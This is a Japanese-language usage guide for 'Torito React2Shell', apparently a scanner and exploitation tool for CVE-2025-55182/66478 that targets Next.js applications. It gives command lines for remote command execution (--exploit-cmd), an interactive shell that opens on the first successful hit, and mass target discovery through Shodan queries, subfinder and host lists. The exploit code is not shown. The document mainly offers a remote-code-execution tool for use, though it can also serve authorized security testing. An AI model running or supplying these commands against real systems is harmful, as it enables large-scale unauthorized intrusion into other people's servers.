
Torito React2Shell スキャナー&エクスプロイトツール (CVE-2025-55182 / 66478)
pip install -r requirements.txt--subfinder 用に PATH 内の Subfinder バイナリ (Homebrew: brew install subfinder、または Go: go install github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest でインストール。プロジェクト: https://github.com/projectdiscovery/subfinder)pip install shodan が必要です (すでに requirements に含まれています) および クエリクレジットのあるキー: export SHODAN_API_KEY=...python3 torito_r2s.py --help
安全なプローブ (単一ターゲット)
python3 torito_r2s.py -u https://target.com
PoC 確認 (サイドチャネルリダイレクト)
python3 torito_r2s.py -u https://target.com --confirm
カスタムコマンドでのエクスプロイト
python3 torito_r2s.py -u https://target.com --exploit-cmd "whoami"
最初のヒット時にインタラクティブシェル
python3 torito_r2s.py -u https://target.com --shell
エクスポート付きリストスキャン
python3 torito_r2s.py -l hosts.txt -t 40 --confirm --json-out results.json --csv-out results.csv
Shodan のみ (キーとクレジットが必要)
export SHODAN_API_KEY=your_key
python3 torito_r2s.py --shodan 'http.title:"Next.js"' --shodan-limit 50 --confirm
Subfinder のみ
python3 torito_r2s.py --subfinder target.com --confirm
プロキシ (Burp/Caido)
python3 torito_r2s.py -u https://target.com --proxy http://127.0.0.1:8080 --confirm
stdin 経由のパイプライン
cat urls.txt | python3 torito_r2s.py --confirm
--exploit-cmd または --shell 指定時のみ実行されます。| フラグ | 説明 | デフォルト |
|---|
-u, --url URL | 単一ターゲットの URL | — |
-l, --list FILE | ターゲットを記載したファイル (1行に1つ) | — |
--subfinder DOMAIN | ドメインに対して subfinder を実行し、結果を追加する | — |
--shodan QUERY | Shodan 検索 (SHODAN_API_KEY とクレジットが必要) | — |
--shodan-limit N | クエリごとの Shodan 結果の最大数 | 100 |
-t, --threads N | 同時実行数 | 20 |
--timeout SEC | リクエストタイムアウト | 10 |
--proxy URL | HTTP/HTTPS プロキシ | — |
--confirm | プローブ後にリダイレクトベースの PoC を実行 | オフ |
--exploit-cmd "CMD" | コマンドを指定して RCE ペイロードを実行 | — |
--shell, -i | 最初のエクスプロイト成功時にインタラクティブシェルを開く (既定のコマンドは id) | オフ |
--json-out FILE | JSON 結果を保存 | — |
--csv-out FILE | CSV 結果を保存 | — |
-v, --verbose | テーブルにデコードされた出力/ダイジェストを表示 | オフ |